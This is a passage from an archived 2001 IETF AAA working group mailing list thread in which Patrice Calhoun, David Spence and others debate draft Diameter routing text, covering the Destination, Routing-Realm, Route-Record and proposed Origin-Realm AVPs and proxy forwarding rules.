Authentication requests that span multiple round trips > - A Diameter message that uses a security mechanism that makes use > of a pre-established session key shared between the source and > the final destination of the message. > - Server initiated messages that MUST be received by a specific > Diameter client (e.g. NAS), such as the Session-Termination-Ind > message, which is used to request that a particular user's > session be terminated. > > Proxies receiving messages that contain the Destination AVP MUST > verify whether they are able to forward Diameter messages to the host > specified in the AVP, and if so, MUST forward the message to the host > > Calhoun et al. expires July 2001 [Page 37] > > Internet-Draft February 2001 > > in question. Otherwise, the message routing procedures described in > section 8.0 MUST be followed. Suppose a Diameter client is sending the second message in an authentication sequence that spans multiple round trips. How does it know what information to include in the Destination AVP? In other words, how does it find out the FQDN of the home server engaged in the sequence? > > y.z.1 Destination AVP > > The Destination AVP (AVP Code 293) [1] is of type OctetString, and > contains the Fully Qualified Domain Name (FQDN) of the intended > recipient of the message. This AVP MUST be present in all unsolicited > server initiated messages. > > 8.0 Message Routing > > This section describes the expected behavior of a Diameter server > acting as a proxy or redirect server. I thought we decided to get rid of redirect servers. > > 8.1 Realm-Based Message Routing > > Diameter request, query and indication message routing is done > through the use of the realm portion of the Network Access Identifier and in addition, for load balancing purposes, a routing tie may be broken by hashing the user portion of the NAI... > (NAI), and an associated realm routing table (see section 8.1.1). The > NAI has a format of user@realm, and Diameter servers have a list of > locally supported realms, and MAY have a list of externally supported > realms. When a request, query or indication message is received that > includes a realm that is not locally supported, the message is > proxied to the Diameter entity configured in the "route" table. It might be less confusing of the material in sec. 8.2 appeared here so we aren't confused as to where the NAI came from. > > Figure 2 depicts an example where DIA1 receives a request to > authenticate user "joe@abc.com". DIA1 looks up "abc.com" in its local > realm route table and determines that the message must be proxied to > DIA2. DIA2 does the same check, and proxies the message to DIA3. DIA3 > checks its realm route table, and determines that the realm is > locally supported, and processes the authentication request, and > returns the response. How the response actually makes it back to the > sender of the original request is described in the next section. > > Calhoun et al. expires July 2001 [Page 38] > > Internet-Draft February 2001 > > (Request) (Request) > (User-Name=joe@abc.com) (User-Name=joe@abc.com) > +------+ ------> +------+ ------> +------+ > | | | | | | > | DIA1 +-------------------+ DIA2 +-------------------+ DIA3 | > | | | | | | > +------+ <------ +------+ <------ +------+ > (Response) (Response) > (User-Name=joe@abc.com) (User-Name=joe@abc.com) > > mno.net xyz.com abc.com > Figure 2: Realm-Based Routing > > Note the processing rules contained in this section are intended to > be used as general guidelines to Diameter developers. Certain > implementations MAY use different methods than the ones described > here, and still be in compliance with the protocol specification. > > 8.1.1 Realm-Based Routing Table > > All Realm-Based routing lookups are performed against what is > commonly known as the Domain Routing Table (see section 13.0). A > Domain Routing Table Entry contains the following fields: > - Domain Name. The Domain Name is analogous to the realm portion > of the NAI. This is the field that is typically used as a > primary key in the routing table lookups. Note that some > implementations perform their lookups based on longest-match- > from-the-right on the realm rather than requiring an exact > match. > - Extension Id. It is possible for a routing entry to have a > different destination based on the extension identifier of the > message. This field is typically used as a secondary key field > in routing table lookups. > - Local Action. The Local Action field is used to identify how a > message should be treated. The following actions are supported: > 1. LOCAL - Diameter messages that resolve to a routing entry > with the Local Action set to Local can be satisfied > locally, and do not need to be forwarded to another > server. > 2. PROXY - All Diameter messages that fall within this > category MUST be forwarded to a next hop server. The local > server MAY apply its local policies to the message by > including new AVPs to the message prior to forwarding. > See section 8.4 for more information. > 3. REDIRECT - Diameter messages that fall within this > category MUST have the identity of the home Diameter > server(s) appended, and returned to the sender of the > > Calhoun et al. expires July 2001 [Page 39] > > Internet-Draft February 2001 > > message. See section 8.3 for more information. > - Server Identifier - One or more servers the message is to be > forwarded to. When the Local Action is set to PROXY, this field > contains the identities of the server(s) the message must be > forwarded to. When the Local Action field is set to REDIRECT, > this field contains the Home Diameter server(s) for the realm. > > It is important to note that Diameter servers MUST support at least > one of the PROXY, REDIRECT, or LOCAL modes of operation. Servers do > not need to support all modes of operation in order to conform with > the protocol specification. Servers MUST NOT reorder AVPs with the > same AVP Code. > > 8.2 Proxy and Redirect Server handling of requests > > When a message of type request, query or indication is received by a > proxy or redirect server, and it is determined that the request > cannot be locally handled, the next hop for the request is determined > in the following order: > 1. If the Destination AVP is present, and the host specified in > the AVP can be directly contacted, the message is forwarded to > the host (see section y.z for more information) > 2. If the Routing-Realm AVP is present, a routing table lookup is > performed using the domain specific in the AVP, or What's the difference between Destination and Routing-Realm? Why do we need both? > 3. A routing table lookup is performed using the domain portion of > the NAI found in the User-name AVP. In the STI message specification included in one of your earlier emails, you included a Route-Record AVP. What would that be for unless Route-Record is included in this list? What happened to Host-Name? Do we ever route on that? > > A message that does not contain any of the above AVPs MUST NOT be > routed. If the message in question cannot be handled locally, a > Message-Reject-Ind is sent with the Result-Code AVP set to an > appropriate error condition. > > [...] -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 15:43:51 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA20853 for ; Mon, 12 Feb 2001 15:43:51 -0500 (EST) Received: by segue.merit.edu (Postfix) id CCB865DE2C; Mon, 12 Feb 2001 15:43:33 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BABC45DE1B; Mon, 12 Feb 2001 15:43:33 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 93D8B5DD9D for ; Mon, 12 Feb 2001 15:43:32 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA12257; Mon, 12 Feb 2001 12:43:30 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA18472; Mon, 12 Feb 2001 12:43:30 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id MAA03990; Mon, 12 Feb 2001 12:43:28 -0800 (PST) Date: Mon, 12 Feb 2001 12:43:24 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: David Spence Cc: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <3A883F19.84B98FB4@Interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > O.k. Here are a few comments. See below. Cool. > > Proxies receiving messages that contain the Destination AVP MUST > > verify whether they are able to forward Diameter messages to the host > > specified in the AVP, and if so, MUST forward the message to the host > > in question. Otherwise, the message routing procedures described in > > section 8.0 MUST be followed. > > Suppose a Diameter client is sending the second message in an authentication > sequence that spans multiple round trips. How does it know what information > to include in the Destination AVP? In other words, how does it find out the > FQDN of the home server engaged in the sequence? fair enough. Additional language required in the I-D to state that the Host-Name from the response is used in the Destination AVP. > > 8.0 Message Routing > > > > This section describes the expected behavior of a Diameter server > > acting as a proxy or redirect server. > > I thought we decided to get rid of redirect servers. not that I am aware of. > > > > > 8.1 Realm-Based Message Routing > > > > Diameter request, query and indication message routing is done > > through the use of the realm portion of the Network Access Identifier > > and in addition, for load balancing purposes, a routing tie may be broken by > hashing the user portion of the NAI... See my previous e-mail about the use of Pearson's hashing algorithm, and the problems it causes since we have a protocol that does capabilities negotiation. FWIW, DHCP uses it in a much different way than it was discussed at the interim meeting. > > > (NAI), and an associated realm routing table (see section 8.1.1). The > > NAI has a format of user@realm, and Diameter servers have a list of > > locally supported realms, and MAY have a list of externally supported > > realms. When a request, query or indication message is received that > > includes a realm that is not locally supported, the message is > > proxied to the Diameter entity configured in the "route" table. > > It might be less confusing of the material in sec. 8.2 appeared here so we > aren't confused as to where the NAI came from. hmm... I would much prefer to keep things separate. I could, however, state that the realm comes from Routing-Realm or User-Name AVPs. I am just trying to introduce the concept of routing here, and not get into what is used to route. > > When a message of type request, query or indication is received by a > > proxy or redirect server, and it is determined that the request > > cannot be locally handled, the next hop for the request is determined > > in the following order: > > 1. If the Destination AVP is present, and the host specified in > > the AVP can be directly contacted, the message is forwarded to > > the host (see section y.z for more information) > > 2. If the Routing-Realm AVP is present, a routing table lookup is > > performed using the domain specific in the AVP, or > > What's the difference between Destination and Routing-Realm? Why do we need > both? Destination contains the FQDN of the host the message is intended for. It has a single possible receiver. Routing-Realm contains the realm the message is intended for. One does not "route" based on the Destination AVP, but I included it here to make ssure that proxies handle the Destination NAI first. > > > 3. A routing table lookup is performed using the domain portion of > > the NAI found in the User-name AVP. > > In the STI message specification included in one of your earlier emails, you > included a Route-Record AVP. What would that be for unless Route-Record is > included in this list? Record-Route is only used in responses. I had stated that the Route-Record didn't belong in the STI message, and have since fixed the I-D. > > What happened to Host-Name? Do we ever route on that? nope. PatC From owner-aaa-bof@merit.edu Mon Feb 12 15:51:57 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA21163 for ; Mon, 12 Feb 2001 15:51:57 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9F0395DEC4; Mon, 12 Feb 2001 15:49:22 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 7CA845DEA7; Mon, 12 Feb 2001 15:49:22 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 41C995DEC4 for ; Mon, 12 Feb 2001 15:49:21 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA14613; Mon, 12 Feb 2001 12:49:19 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA19726; Mon, 12 Feb 2001 12:49:14 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id MAA04066; Mon, 12 Feb 2001 12:49:10 -0800 (PST) Date: Mon, 12 Feb 2001 12:49:10 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: Patrice Calhoun Cc: David Spence , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > > In the STI message specification included in one of your earlier emails, you > > included a Route-Record AVP. What would that be for unless Route-Record is > > included in this list? > > Record-Route is only used in responses. I had stated that the Route-Record > didn't belong in the STI message, and have since fixed the I-D. hold on. Route-Record MAY be present in the STI. When a message is proxied, each proxy adds its Route-Record to the message. So, if an MRI is generated, it has a way to get back. The text in Section 8.4.1,2 and 3 discuss how the Route-Record works, and I am including it here as well (but it has hardly changed from the draft-ietf-aaa version). PatC ---- 8.4.1 Proxying Requests In addition to the rules defined in section 8.2, the following procedures MUST be handled by proxy servers handling messages of type request, query or indication. A proxy server MUST check for forwarding loops before proxying a message of type Request, Query or Indication. Such as message has been looped if the server finds its own address in a Route-Record AVP. A Diameter server that proxies a message or type Request, Query or Indication MUST append a Route-Record AVP, which includes its identity. Diameter Servers that receive messages MUST validate the last Route-Record AVP in the message and ensure that the host identified in the AVP is the same as the sender of the message. A Proxy Server MAY also include the Proxy-State AVP in a message of type Request or Query, which is used to encode local state information. The Proxy-State AVP is guaranteed to be present in the corresponding response. The message is then forwarded to the downstream Diameter server, as identified in the Domain Routing Table. Proxy Server MUST save the Identifier in request messages, and update the header field with a locally unique value. The saved identifier Calhoun et al. expires July 2001 [Page 43] Internet-Draft February 2001 MAY be encoded in the Proxy-State AVP, and will be required in the processing of the corresponding response. 8.4.2 Proxying Responses A proxy server MUST only process messges of type Response or Answer whose last Route-Record AVP matches one of its addresses. Any responses that do not conform to this rule MUST be dropped. The last Route-Record AVP MUST be removed from the message before it is forwarded to the next hop, which is identified by the second to last Route-Record AVP. If the last Proxy-State AVP in the message is targeted to the local Diameter server, the AVP MUST be removed. If a proxy server receives a response with a Result-Code AVP indicating a failure, it MUST NOT modify the contents of the AVP. Any additional local errors detected SHOULD be logged, but not reflected in the Result-Code AVP. Prior to forwarding the response, proxy servers MUST restore the original value of the Diameter header's Identifier field. 8.4.3 Route-Record AVP The Route-Record AVP (AVP Code 282) is of type OctetString, and contains the Fully Qualified Domain Name of the Proxy appending this AVP to a Diameter message. From owner-aaa-bof@merit.edu Mon Feb 12 17:20:21 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA22822 for ; Mon, 12 Feb 2001 17:20:21 -0500 (EST) Received: by segue.merit.edu (Postfix) id C69035DEB0; Mon, 12 Feb 2001 17:18:39 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B09645DEB1; Mon, 12 Feb 2001 17:18:39 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 52FAB5DEB0 for ; Mon, 12 Feb 2001 17:18:38 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 7BD3873; Mon, 12 Feb 2001 17:18:49 -0500 (EST) Message-ID: <3A88613D.22F8DFD6@Interlinknetworks.com> Date: Mon, 12 Feb 2001 17:18:37 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Message Forwarding and Routing Proposed text References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Patrice Calhoun wrote: > > > O.k. Here are a few comments. See below. > > Cool. > > > Proxies receiving messages that contain the Destination AVP MUST > > > verify whether they are able to forward Diameter messages to the host > > > specified in the AVP, and if so, MUST forward the message to the host > > > in question. Otherwise, the message routing procedures described in > > > section 8.0 MUST be followed. > > > > Suppose a Diameter client is sending the second message in an authentication > > sequence that spans multiple round trips. How does it know what information > > to include in the Destination AVP? In other words, how does it find out the > > FQDN of the home server engaged in the sequence? > > fair enough. Additional language required in the I-D to state that the > Host-Name from the response is used in the Destination AVP. O.K. So the Host-Name always indicates the source FQDN and the Destination always indicates the destination FQDN. > > > > 8.0 Message Routing > > > > > > This section describes the expected behavior of a Diameter server > > > acting as a proxy or redirect server. > > > > I thought we decided to get rid of redirect servers. > > not that I am aware of. > > > > > > > > > 8.1 Realm-Based Message Routing > > > > > > Diameter request, query and indication message routing is done > > > through the use of the realm portion of the Network Access Identifier > > > > and in addition, for load balancing purposes, a routing tie may be broken by > > hashing the user portion of the NAI... > > See my previous e-mail about the use of Pearson's hashing algorithm, and the > problems it causes since we have a protocol that does capabilities > negotiation. FWIW, DHCP uses it in a much different way than it was discussed > at the interim meeting. O.K. so use of Pearson's hash is not in the spec at this time. > > > > > > (NAI), and an associated realm routing table (see section 8.1.1). The > > > NAI has a format of user@realm, and Diameter servers have a list of > > > locally supported realms, and MAY have a list of externally supported > > > realms. When a request, query or indication message is received that > > > includes a realm that is not locally supported, the message is > > > proxied to the Diameter entity configured in the "route" table. > > > > It might be less confusing of the material in sec. 8.2 appeared here so we > > aren't confused as to where the NAI came from. > > hmm... I would much prefer to keep things separate. I could, however, state > that the realm comes from Routing-Realm or User-Name AVPs. I am just trying to > introduce the concept of routing here, and not get into what is used to route. > > > > When a message of type request, query or indication is received by a > > > proxy or redirect server, and it is determined that the request > > > cannot be locally handled, the next hop for the request is determined > > > in the following order: > > > 1. If the Destination AVP is present, and the host specified in > > > the AVP can be directly contacted, the message is forwarded to > > > the host (see section y.z for more information) > > > 2. If the Routing-Realm AVP is present, a routing table lookup is > > > performed using the domain specific in the AVP, or > > > > What's the difference between Destination and Routing-Realm? Why do we need > > both? > > Destination contains the FQDN of the host the message is intended for. It has > a single possible receiver. Routing-Realm contains the realm the message is > intended for. One does not "route" based on the Destination AVP, but I > included it here to make ssure that proxies handle the Destination NAI first. It was a stupid question. I was getting confused. > > > > > > 3. A routing table lookup is performed using the domain portion of > > > the NAI found in the User-name AVP. > > > > In the STI message specification included in one of your earlier emails, you > > included a Route-Record AVP. What would that be for unless Route-Record is > > included in this list? > > Record-Route is only used in responses. I had stated that the Route-Record > didn't belong in the STI message, and have since fixed the I-D. Bob Kopacz suggests that it will get added to Indication messages as they are forwarded for loop control -- but not for routing. > > > > > What happened to Host-Name? Do we ever route on that? > > nope. Because Host-Name always indicates source. Somehow, I was thinking that Host-Name identified the client and Destination identified the home server which would, of course, make routing confusing. So I think I understand now. > > PatC One more question. I believe a server-to-client Indication message would contain a Routing-Realm AVP for routing purposes. How does the server that originates the message know what realm name to insert in the Routing-Realm AVP? -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 17:23:00 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA22888 for ; Mon, 12 Feb 2001 17:23:00 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2FCAF5DDF7; Mon, 12 Feb 2001 17:22:43 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 1D1A35DD9D; Mon, 12 Feb 2001 17:22:43 -0500 (EST) Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15]) by segue.merit.edu (Postfix) with ESMTP id 85C065DD98 for ; Mon, 12 Feb 2001 17:22:41 -0500 (EST) Received: from zrchb200.us.nortel.com (actually zrchb200) by smtprch2.nortel.com; Mon, 12 Feb 2001 16:12:09 -0600 Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) id <15CHTQ36>; Mon, 12 Feb 2001 16:16:36 -0600 Message-ID: <85AA7486A2C1D411BCA20000F8073E4355C9E4@crchy271.us.nortel.com> From: "Rambabu Tummala" To: "'David Spence'" , Patrice Calhoun Cc: David Frascone , aaa-wg@merit.edu, diameter@diameter.org Subject: RE: [AAA-WG]: Re: [diameter] Re: Host-Name and Destination-NAI AV Ps Date: Mon, 12 Feb 2001 16:16:26 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09541.70B6B990" X-Orig: Sender: owner-aaa-bof@merit.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09541.70B6B990 Content-Type: text/plain; charset="iso-8859-1" Let me understand what is being proposed here 1. Destination AVP - Contains the FQDN name, which should only be used in the last hop of Routing DIAMETER messages. (Removing the NAI format of the AVP) 2. Routing-Realm AVP - Contains the Realm, which should be used to route the message, when present in the message. My Question is can we not achieve this by keeping the Destination NAI AVP (Basically combining the above two into one AVP)? Most likely than not we need these two AVPs, when Server is communicating to the Client. Regards, Rambabu Tummala Nortel Networks ESN 444-8970 External (972)684-8970 -----Original Message----- From: David Spence [mailto:DSpence@Interlinknetworks.com] Sent: Monday, February 12, 2001 11:56 AM To: Patrice Calhoun Cc: David Frascone; aaa-wg@merit.edu; diameter@diameter.org Subject: [AAA-WG]: Re: [diameter] Re: Host-Name and Destination-NAI AVPs Patrice Calhoun wrote: > > > David, > > > > I'm not sure if you fully see what my issue is. My issue is how do proxies > > "route" Diameter messages? If you route on User-Name, then you have a realm > > routing table that routes on names selected from the realm name-space. If > > you had to route on a Destination AVP and that AVP contains an FQDN, then > > you would be routing on a name selected from the DNS which is a different > > name space. My point is that routing (except perhaps at the last hop) > > should always be on the basis of names selected from the same name space. > > This is *exactly* what I have in mind. NAIs are used thoughout the proxy > chain, until the last hop where FQDN is used. Again, an FQDN is not used > against the routing table, but agains the clients file. Great! > > PatC -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. ------_=_NextPart_001_01C09541.70B6B990 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [AAA-WG]: Re: [diameter] Re: Host-Name and Destination-NAI = AVPs

Let me understand what is being proposed here

1.  Destination AVP - Contains the FQDN name, = which should only be used in the last hop of Routing DIAMETER messages. = (Removing the NAI format of the AVP)

2.  Routing-Realm AVP - Contains the Realm, = which should be used to route the message, when present in the = message.

My Question is can we not achieve this by keeping the = Destination NAI AVP (Basically combining the above two into one = AVP)?  Most likely than not we need these two AVPs, when Server is = communicating to the Client.

Regards,

Rambabu Tummala
Nortel Networks
ESN 444-8970
External (972)684-8970


-----Original Message-----
From: David Spence [mailto:DSpence@Interlinkne= tworks.com]
Sent: Monday, February 12, 2001 11:56 AM
To: Patrice Calhoun
Cc: David Frascone; aaa-wg@merit.edu; = diameter@diameter.org
Subject: [AAA-WG]: Re: [diameter] Re: Host-Name and = Destination-NAI AVPs


Patrice Calhoun wrote:
>
> > David,
> >
> > I'm not sure if you fully see what my = issue is.  My issue is how do proxies
> > "route" Diameter messages?  = If you route on User-Name, then you have a realm
> > routing table that routes on names = selected from the realm name-space.  If
> > you had to route on a Destination AVP and = that AVP contains an FQDN, then
> > you would be routing on a name selected = from the DNS which is a different
> > name space.  My point is that routing = (except perhaps at the last hop)
> > should always be on the basis of names = selected from the same name space.
>
> This is *exactly* what I have in mind. NAIs are = used thoughout the proxy
> chain, until the last hop where FQDN is used. = Again, an FQDN is not used
> against the routing table, but agains the = clients file.

Great!

>
> PatC

--
David = Spence           =             =      email: DSpence@Interlinknetworks.com
Interlink Networks, = Inc.           &n= bsp;    phone: (734) 821-1203
775 Technology Drive, Suite = 200         fax:   = (734) 821-1235
Ann Arbor, MI = 48108           =
U.S.A.

------_=_NextPart_001_01C09541.70B6B990-- From owner-aaa-bof@merit.edu Mon Feb 12 17:51:20 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA23393 for ; Mon, 12 Feb 2001 17:51:20 -0500 (EST) Received: by segue.merit.edu (Postfix) id D4C375DEBF; Mon, 12 Feb 2001 17:48:39 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BC7715DEAC; Mon, 12 Feb 2001 17:48:39 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 612115DEA3 for ; Mon, 12 Feb 2001 17:48:38 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA08490; Mon, 12 Feb 2001 14:48:37 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA22407; Mon, 12 Feb 2001 14:48:36 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id OAA06061; Mon, 12 Feb 2001 14:48:34 -0800 (PST) Date: Mon, 12 Feb 2001 14:48:34 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: David Spence Cc: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <3A88613D.22F8DFD6@Interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > > See my previous e-mail about the use of Pearson's hashing algorithm, and the > > problems it causes since we have a protocol that does capabilities > > negotiation. FWIW, DHCP uses it in a much different way than it was discussed > > at the interim meeting. > > O.K. so use of Pearson's hash is not in the spec at this time. unless I hear otherwise from the WG, I have made my comments on this one topic, and it doesn't work as people had originally intended. > > > > Destination contains the FQDN of the host the message is intended for. It has > > a single possible receiver. Routing-Realm contains the realm the message is > > intended for. One does not "route" based on the Destination AVP, but I > > included it here to make ssure that proxies handle the Destination NAI first. > > It was a stupid question. I was getting confused. Perhaps it wasn't properly described, hence the question. > > > > Record-Route is only used in responses. I had stated that the Route-Record > > didn't belong in the STI message, and have since fixed the I-D. > > Bob Kopacz suggests that it will get added to Indication messages as they > are forwarded for loop control -- but not for routing. He is correct. > > One more question. I believe a server-to-client Indication message would > contain a Routing-Realm AVP for routing purposes. How does the server that > originates the message know what realm name to insert in the Routing-Realm > AVP? Well, a server initiated message would have to be to a box that it has talked to before, but I believe that the question is what is the realm, if all you have is the hostname. Is this correct? If so, then I believe that it would be everything after the first '.'. Should we instead include an "Originated-Realm" AVP? PatC From owner-aaa-bof@merit.edu Mon Feb 12 17:56:14 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA23444 for ; Mon, 12 Feb 2001 17:56:14 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1175F5DD98; Mon, 12 Feb 2001 17:55:46 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id E05585DD9D; Mon, 12 Feb 2001 17:55:45 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id BD5265DD98 for ; Mon, 12 Feb 2001 17:55:44 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 0642273; Mon, 12 Feb 2001 17:55:55 -0500 (EST) Message-ID: <3A8869F0.9164E344@Interlinknetworks.com> Date: Mon, 12 Feb 2001 17:55:44 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Patrice Calhoun wrote: > > > > See my previous e-mail about the use of Pearson's hashing algorithm, and > the > > problems it causes since we have a protocol that does capabilities > > > negotiation. FWIW, DHCP uses it in a much different way than it was discussed > > > at the interim meeting. > > > > O.K. so use of Pearson's hash is not in the spec at this time. > > unless I hear otherwise from the WG, I have made my comments on this one > topic, and it doesn't work as people had originally intended. > > > > > > > Destination contains the FQDN of the host the message is intended for. It has > > > a single possible receiver. Routing-Realm contains the realm the message is > > > intended for. One does not "route" based on the Destination AVP, but I > > > included it here to make ssure that proxies handle the Destination NAI first. > > > > It was a stupid question. I was getting confused. > > Perhaps it wasn't properly described, hence the question. > > > > > > > Record-Route is only used in responses. I had stated that the Route-Record > > > didn't belong in the STI message, and have since fixed the I-D. > > > > Bob Kopacz suggests that it will get added to Indication messages as they > > are forwarded for loop control -- but not for routing. > > He is correct. > > > > > One more question. I believe a server-to-client Indication message would > > contain a Routing-Realm AVP for routing purposes. How does the server that > > originates the message know what realm name to insert in the Routing-Realm > > AVP? > > Well, a server initiated message would have to be to a box that it has talked > to before, but I believe that the question is what is the realm, if all you > have is the hostname. Is this correct? That's the question! > > If so, then I believe that it would be everything after the first '.'. Should > we instead include an "Originated-Realm" AVP? I like the Origin-Realm AVP idea better than trying to guess the realm given the domain name. > > PatC -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 17:58:05 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA23468 for ; Mon, 12 Feb 2001 17:58:05 -0500 (EST) Received: by segue.merit.edu (Postfix) id 4772E5DD9D; Mon, 12 Feb 2001 17:57:37 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 21E365DE1B; Mon, 12 Feb 2001 17:57:37 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 558CC5DD9D for ; Mon, 12 Feb 2001 17:57:35 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA16824; Mon, 12 Feb 2001 14:57:34 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM 